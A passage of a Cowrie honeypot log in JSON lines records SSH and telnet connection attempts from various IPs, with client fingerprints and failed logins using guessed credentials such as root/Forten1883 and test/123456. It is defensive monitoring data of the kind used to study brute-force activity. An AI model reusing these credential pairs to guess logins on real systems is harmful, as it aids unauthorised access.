{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:54.251526Z","src_ip":"51.250.105.222","session":"7efded1a4b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:54.644835Z","src_ip":"51.250.105.222","session":"7efded1a4b95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:55.777032Z","src_ip":"51.250.105.222","session":"7efded1a4b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":39602,"dst_ip":"10.17.0.5","dst_port":22,"session":"f70f4b5f4751","protocol":"ssh","message":"New connection: 87.106.47.28:39602 (10.17.0.5:22) [session: f70f4b5f4751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:57.313586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:57.324262Z","src_ip":"87.106.47.28","session":"f70f4b5f4751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:57.421807Z","src_ip":"87.106.47.28","session":"f70f4b5f4751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:57.841133Z","src_ip":"87.106.47.28","session":"f70f4b5f4751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:58.939389Z","src_ip":"87.106.47.28","session":"f70f4b5f4751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":53300,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec826fbfb05d","protocol":"ssh","message":"New connection: 36.92.41.115:53300 (10.17.0.5:22) [session: ec826fbfb05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:59.746946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:59:59.753093Z","src_ip":"36.92.41.115","session":"ec826fbfb05d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:00.013727Z","src_ip":"36.92.41.115","session":"ec826fbfb05d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steamcmd","password":"steam","message":"login attempt [steamcmd/steam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:01.102926Z","src_ip":"36.92.41.115","session":"ec826fbfb05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:02.366713Z","src_ip":"36.92.41.115","session":"ec826fbfb05d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":49472,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb6d3c13e0f","protocol":"ssh","message":"New connection: 177.85.247.230:49472 (10.17.0.5:22) [session: 2bb6d3c13e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:02.382697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:02.391715Z","src_ip":"177.85.247.230","session":"2bb6d3c13e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:02.508186Z","src_ip":"177.85.247.230","session":"2bb6d3c13e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:02.952685Z","src_ip":"177.85.247.230","session":"2bb6d3c13e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:04.060966Z","src_ip":"177.85.247.230","session":"2bb6d3c13e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":35170,"dst_ip":"10.17.0.5","dst_port":22,"session":"01567d47d54b","protocol":"ssh","message":"New connection: 103.82.132.16:35170 (10.17.0.5:22) [session: 01567d47d54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:24.414884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:24.424791Z","src_ip":"103.82.132.16","session":"01567d47d54b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:24.683389Z","src_ip":"103.82.132.16","session":"01567d47d54b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22111980","message":"login attempt [root/22111980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:25.453169Z","src_ip":"103.82.132.16","session":"01567d47d54b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:26.709830Z","src_ip":"103.82.132.16","session":"01567d47d54b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56268,"dst_ip":"159.203.135.109","dst_port":23,"session":"160c630b02b3","protocol":"telnet","message":"New connection: 128.199.8.54:56268 (159.203.135.109:23) [session: 160c630b02b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:28.175787Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":39148,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cac7c975f2c","protocol":"ssh","message":"New connection: 163.7.9.84:39148 (10.17.0.5:22) [session: 1cac7c975f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:32.796173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:32.800355Z","src_ip":"163.7.9.84","session":"1cac7c975f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:33.051712Z","src_ip":"163.7.9.84","session":"1cac7c975f2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"incoming","password":"1234","message":"login attempt [incoming/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:34.087809Z","src_ip":"163.7.9.84","session":"1cac7c975f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:35.344536Z","src_ip":"163.7.9.84","session":"1cac7c975f2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":38280,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa1c6c90e60c","protocol":"ssh","message":"New connection: 103.84.236.242:38280 (159.203.135.109:22) [session: fa1c6c90e60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:54.598082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:54.602139Z","src_ip":"103.84.236.242","session":"fa1c6c90e60c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:54.843085Z","src_ip":"103.84.236.242","session":"fa1c6c90e60c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:55.825168Z","src_ip":"103.84.236.242","session":"fa1c6c90e60c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:57.064019Z","src_ip":"103.84.236.242","session":"fa1c6c90e60c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5855,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dfae64c6551","protocol":"ssh","message":"New connection: 196.188.93.169:5855 (10.17.0.5:22) [session: 2dfae64c6551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:58.144377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:58.152990Z","src_ip":"196.188.93.169","session":"2dfae64c6551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:58.320777Z","src_ip":"196.188.93.169","session":"2dfae64c6551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t123","message":"login attempt [root/r00t123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:00:59.020764Z","src_ip":"196.188.93.169","session":"2dfae64c6551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:00.189117Z","src_ip":"196.188.93.169","session":"2dfae64c6551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.171.46.137","src_port":49314,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c5b69cf4c91","protocol":"telnet","message":"New connection: 20.171.46.137:49314 (159.203.135.109:23) [session: 7c5b69cf4c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:01.361307Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":41094,"dst_ip":"159.203.135.109","dst_port":22,"session":"4040eea69ac9","protocol":"ssh","message":"New connection: 62.133.62.83:41094 (159.203.135.109:22) [session: 4040eea69ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:15.092795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:01:15.096620Z","src_ip":"62.133.62.83","session":"4040eea69ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp